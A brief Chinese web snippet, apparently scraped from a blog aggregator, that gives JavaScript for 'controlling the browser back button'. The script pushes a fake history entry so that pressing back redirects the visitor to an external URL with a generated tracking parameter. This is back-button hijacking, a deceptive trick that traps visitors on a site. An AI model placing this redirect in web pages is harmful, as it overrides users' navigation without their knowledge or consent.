js控制浏览器后退按钮

来源:互联网 发布:美国海关数据查询 编辑:程序博客网 时间:2024/05/20 09:08
<script>        var guanzhu ='http://www.xxx.com';        window.onhashchange = function () {            location.href = guanzhu+"?s=mRygKs" + (parseInt((parseInt(new Date().getTime() / (100 * 5 * 1)) + '').substring(2)) + 5000);        };        function hh() {            history.pushState(history.length + 1, "message", "#");        }        setTimeout('hh();', 200);    </script>

原创粉丝点击